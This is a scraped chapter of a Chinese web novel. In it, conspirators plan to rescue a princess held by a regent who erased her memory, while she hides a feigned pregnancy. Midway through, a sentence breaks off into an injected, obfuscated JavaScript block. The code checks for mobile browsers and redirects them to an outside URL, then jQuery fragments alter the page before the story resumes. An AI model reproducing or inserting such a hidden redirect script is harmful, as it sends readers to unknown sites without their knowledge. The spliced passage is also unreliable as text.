58. 强扭甜瓜

作品:《入东宫

    孟庭阙霍然起身,却因这句话的震撼而身体摇晃,踉跄着坐了回去。


    颓丧的气息弥漫在二人之间,隔了许久,孟庭阙疲惫地揉了揉太阳穴,听张问天描述当日的情形。


    千算万算,没有料到会有一个张问天。如今功亏一篑,楚元虞身陷囹吾,不敢想会在摄政王府上遭遇什么。


    最重要的,是他们的计划,孟庭阙已经找来了人,即日就要召集部下了,连带着先前被赶出摄政王府的静鸾姑娘,他也照应到。


    现在少了楚元虞,谁来统领这些人?只怕是他不能让慕容府旧部信服。


    更重要的是假孕,孟庭阙搭在扶手上的手慢慢攥紧,心不断往下沉。


    当日就不应该给她这药!现在也不知楚元虞该怎么才能瞒过去假孕的事。


    张问天同样不知所措,那晚他趁二人熟睡,屏气敛声偷溜出去,回到府上肠子都悔青了,早知如此,他先跟丞相报个信也好。


    “大人,属下来迟。”一蒙脸暗卫闪现到屋内,抱了抱拳。


    孟庭阙眼中浮现喜色,“快,说说情况如何了?”


    暗卫气息平稳道:“摄政王府如今戒备森严,一只苍蝇都飞不进去,好在我们有内应,这是他冒着被杀的风险投递了信。”


    “大人,信在这里。”他将信递给孟庭阙,孟庭阙捻着纸页翻看,耳边还是暗卫的声音,“听说王妃没了记忆,跟王爷相处甚好,二人恩爱得如胶似漆,没有像往日天天争吵。”


    “还有,接应的人说了,王妃的失忆乃王爷一手造成,现在王爷对奴仆桎梏得严,就连接近王妃时的一举一动也要记下来审核。”


    “他让我们这些日子勿要去找他,免得生了猜疑。”


    孟庭阙听完后,心彻底凉了,他喃喃道:“竟这般森严……”


    张问天知道自己彻底坏了事,赶忙说:“此事乃张某一人之过,眼下情况紧急,张某愿赴汤蹈火在所不辞,只要大人发话!”


    孟庭阙闭了闭眼,“你再仔细说说那天的情形……”


    他们能拖,可是楚元虞不行,他不敢想如果假孕的事暴露,楚元虞会遭受到什么。


    实在不行,他只能,先下手为强了。


    “咚咚——”


    紧闭的门突然被敲响,里头的人都吓了一跳,孟庭阙心脏怦怦直跳,厉声问:“什么事?”


    “启禀大人,摄政王在乾清宫设宴,邀您中秋佳节赴宴。”


    “你要设宴?”楚元虞听到这突兀的消息,执书的手一顿,抬眸看向在长案边处理公务的男人。


    “是。”萧随随手批阅奏折,他夺了楚烬储君的权力,这些繁重的公务也自然落到他身上。“虞娘,我要解决的人太多了。”


    楚元虞目光一转,将书放下,她坐在窗台边的贵妃椅上,暖光斜进,姣好的脸沐浴着阳光,“夫君忙碌,不必顾及我。”


    萧随轻笑一声,“宴会设在白日,办完事,我晚上回来陪你过节,岂不美哉。”


    终于将最后一份奏折批完,萧随起身大跨步朝女人走去,天知道他忍得有多辛苦。


    萧随半跪在女人脚下,头轻轻埋在她温暖的腹部,嗅着满鼻馨香,难捱地用鼻端蹭了蹭绸缎衣袖。


    “现在已经九月了,怎么过了个暑期,虞娘的肚子仍不见显怀?”萧随疑惑地问着,心里并不对她生疑,只是在盘想着让那个神医再来看一次。


    楚元虞搭在扶手上的手,指尖微颤,她心底无端漏了一拍,面上却淡雅道:“孩子好安静,不闹人。”


    “是啊,寻常胎儿会让母体孕吐,我们的孩儿倒是乖巧懂事。”萧随一句话让楚元虞的心千钧重,又看他蓦然展开笑颜继续说,“哈哈,定是像虞娘的恬静温雅的小女孩!”


    楚元虞双眸流盼生辉,“是了。”


    “入秋了,虞娘也应当穿多些。”萧随拿了袄子给她披上,“我现在先去召大夫来看一眼。”


    “嗯。”楚元虞也想知道为什么,她没了记忆,主心骨都交给了男人,只做一朵娇弱的菟丝花,哪怕她有心想拿回主动权,也渐渐处于弱势了。


    事实上,她从一开始就处在弱势。


    萧随揉揉她的发丝,一切都按他预想的结果发展,没了记忆的虞娘跟他重头再来,在他的“温柔”攻势下慢慢爱上自己,日子过得甜蜜恩爱,还有未出世的孩子。


    这段日子,是萧随最为欢乐的,也是最幸福无忧的,导致他迷蒙了双眼,把现实遮蔽,忽略了他与楚元虞之间隔着的仇恨和阴霾。


    只飘然享受其中,不知何处是归途。


    大夫给楚元虞诊脉,神情略有所动,他看了眼粘在一块的王爷王妃,心里咯噔一声。


    难道是他诊错了?


    不应该啊,先前大家都诊过,王妃确有身孕,怎么今日这脉象就变了呢?


    大夫继续诊,都要把楚元虞的手压红了,又赶紧松了力道。


    萧随的注意力全部在楚元虞身上,埋头在她的颈窝休憩,最近杀的人太多了,他有些困倦,现在刚好赖在楚元虞身上不走。


    屋内沉默的有些久了,萧随清醒过来,抬头看向大夫,大夫恰到好处收回了手,笑呵呵道:“王妃的身体无碍,只是近几日有些缺觉,还需多休息才是。”


    “那为什么虞娘到现在还没显怀?”萧随拧眉望着他,宽大的手掌覆盖在楚元虞的腹部上。


    “这……”大夫赶忙找补,“人各有异,王妃先前是否服用过什么有违常理的药?亦或者是体质有些不同,小的只能看到这里……”


    萧随眉头越皱越紧,他仔细掂量着楚元虞的体重,又见她面容确实苍白,单薄的肩似乎一折就断,轻得不像话了。


    还是得让那个神医看看。萧随挥退大夫,对楚元虞说道:“奇也怪哉,本王日日让下人做好膳食,怎的虞娘身体不重反轻?”


    不是虞娘的错。


    楚元虞美眸躲闪,其实她夜夜都睡不安稳,常常心悸头痛,饭也吃不下,但都找不出缘由,只能归结于是怀孕了。


    突然,一阵反胃升腾而上,楚元虞猛地捂住嘴,干呕一声,趴在扶手上难受地吐了。


    “虞娘!”萧随心跳漏了一拍,忙拍着她的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14601056|150826||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    后背,朝外面喊:“来人!拿热水和布来!”


    “诶!”外头雨霜和凉绛开始忙活着,萧随没来得及等她们,先用手接了那污秽之物,另一只手继续安抚地拍打着她的后背。


    楚元虞眸中带着被刺激出来的眼泪,她艰难抽出一丝精力朝萧随摇头,“不……”不要碰,脏。一句话还没说全,复又继续了。


    “王爷!王妃!”


    雨霜跟凉绛看到这一幕吓得如坠冰窟,赶忙端了热水和器皿收拾残局。


    楚元虞双眼通红,整个人难受得紧,原来怀孕是如此的艰难困苦,好似整个人的心都要呕出来,耳边是萧随温柔的抚慰,“没事了……没事了……”


    萧随暂时出去收拾自己,留楚元虞给两位丫鬟照顾,雨霜帮忙擦拭着她狼狈的泪痕,心疼道:“王妃受苦了。”


    不料,楚元虞反倒对她们说:“我无碍,挨过去了便好。你们去瞧瞧王爷吧,他一身的脏污,免得受了凉。”


    此话一出,雨霜跟凉绛不禁对视一眼,王妃什么时候体恤过王爷?哪次不是恨得你死我活,巴不得捅死对方。


    王爷的做法竟然真的奏效,让楚元虞回心转意,甚至真的如同贤妻一般关心起夫君……二人细思极恐,对萧随更加胆寒惧怕,但迫于楚元虞发话,还是应了声:“是。”


    待二人走后,楚元虞浑身失力靠着椅背,看着自己一身病骨,不禁流下泪水,方才的胃痛突如其来,但是阴差阳错证实了孩子的存在。


    也不知是喜是忧。


    萧随换了套衣服洗漱完毕,当即回来,他放心不下楚元虞,先遣了两位丫鬟回去照顾楚元虞,但是她们二人刚到,他后脚也到。


    可真是将他急死了。


    “虞娘。”萧随未见其人先闻其声,远远看向在贵妃椅上休憩的美貌佳人,芙蓉面苍白失色,往日一双极美的眸子悄无声息的闭着。


    整个人透露出被摧残至极的气息。明明他已经尽心去养了,但楚元虞枯萎的速度远远快过他的浇灌。


    萧随心中锥痛,慢慢踱步到她身旁,将楚元虞拦腰抱起往床榻去,两个人坐在床边汲取温暖。


    “虞娘,我们不生了。”萧随后槽牙都要咬碎了,只听闻女人怀胎遭罪,未曾想如此痛苦,楚元虞本就骨弱,还要受此折磨,他不要了,都不要了。


    他根本不能眼睁睁看着楚元虞受伤。


    楚元虞半睁着眼,笑了,她伸手摸过男人的英俊的侧脸,殷红的唇蠕动,“你怎么想一出是一出?嗯?”


    “我……”萧随噎住,“我只是想……想让你好受些。”


    “不过是一次孕反,往后的路还长着。”楚元虞将手放置他的心口,男人的情绪很充沛,一腔爱意隐藏在血肉森林中,从楚元虞的掌心一路传递在自己的心房。


    似岩浆撞冰,暖得安心。


    先前楚元虞不知自己为何要嫁给他,现在懂得了,是因为爱。没有人能够在这样炽热的爱中保持理智,除非是有血海深仇。


    楚元虞不认为自己跟萧随有仇恨,也想象不到美梦之外的现实是多么残酷。